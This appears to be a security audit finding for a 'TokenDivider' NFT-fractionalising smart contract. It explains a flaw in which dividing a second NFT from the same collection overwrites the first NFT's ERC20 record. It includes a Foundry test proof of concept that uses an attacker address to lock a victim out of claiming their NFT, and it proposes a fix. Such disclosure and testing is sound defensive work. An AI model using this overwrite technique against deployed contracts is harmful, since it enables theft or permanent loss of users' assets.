Description: TokenDivider smart contract does not have the ability to distinguish between different NFTs issued by one smart contract. TokenDivider::nftToErc20Info holds a mapping of NFT address to ERC20 address. And token ID stored as struct field. This means that if a user A has an NFT with ID 0 and user B has an NFT with ID 1 from the same NFT contract address, the latest TokenDivider::divideNft call will overwrite the previous value.
Impact: This vulnerability allows malicious actors to overwrite the ERC20 information of an NFT with the same contract address but a different token ID. This results in potential permanent loss of ownership for the original NFT owner.
An attacker can register their cheap NFT (same contract address, different token ID) to overwrite the valuable NFT's ERC20 address, making it impossible for the original owner to reclaim their NFT.
This issue represents a high-severity vulnerability due to the direct risk of asset loss and the systemic failure of the intended contract logic.
Proof of Concept:
Create new file at test/TokenDivider.t.sol with the following content:
pragma solidity ^0.8.18;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {ERC721Burnable} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Test} from "forge-std/Test.sol";
import {TokenDivider} from "src/TokenDivider.sol";
contract MyToken is ERC721, ERC721Burnable {
constructor(address initialOwner) ERC721("MyToken", "MTK"){}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
}
contract TokenDividerTest is Test {
function test_uncheckedNftTokenId() public {
MyToken nft = new MyToken(address(this));
TokenDivider tokenDivider = new TokenDivider();
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
nft.safeMint(victim, 0);
nft.safeMint(attacker, 1);
assertEq(nft.ownerOf(0), victim);
assertEq(nft.ownerOf(1), attacker);
vm.prank(victim);
nft.approve(address(tokenDivider), 0);
vm.prank(victim);
tokenDivider.divideNft(address(nft), 0, 200);
TokenDivider.ERC20Info memory erc20valuableNft = tokenDivider.getErc20InfoFromNft(address(nft));
vm.prank(victim);
IERC20(erc20valuableNft.erc20Address).approve(address(tokenDivider), 200);
assertEq(nft.ownerOf(0), address(tokenDivider));
vm.prank(attacker);
nft.approve(address(tokenDivider), 1);
vm.prank(attacker);
tokenDivider.divideNft(address(nft), 1, 200);
assertEq(nft.ownerOf(1), address(tokenDivider));
TokenDivider.ERC20Info memory erc20cheapNft = tokenDivider.getErc20InfoFromNft(address(nft));
assertNotEq(erc20valuableNft.erc20Address, erc20cheapNft.erc20Address);
vm.prank(victim);
tokenDivider.claimNft(address(nft));
}
}
Recommended Mitigation: Instead of storing token ID in the struct, it is recommended to store it in a mapping with the NFT address as the key. This way, the contract can distinguish between different NFTs issued by the same smart contract.
- mapping(address nft => ERC20Info) nftToErc20Info;
+ mapping(address => mapping(uint256 => address)) public nftToErc20Info;
^ ^ ^
| | ERC20 address
| NFT token ID
NFT smart contract address
It will require to update the following functions:
- function claimNft(address nftAddress) external {
+ function claimNft(address nftAddress, uint256 tokenId) external {
- function transferErcTokens(address nftAddress, address to, uint256 amount) external {
+ function transferErcTokens(address nftAddress, uint256 tokenId, address to, uint256 amount) external {
- function sellErc20(address nftPegged, uint256 price, uint256 amount) external {
+ function sellErc20(address nftPegged, uint256 tokenId, uint256 price, uint256 amount) external {
- function getErc20InfoFromNft(address nft) public view returns (ERC20Info memory) {
+ function getErc20InfoFromNft(address nft, uint256 tokenId) public view returns (address) {
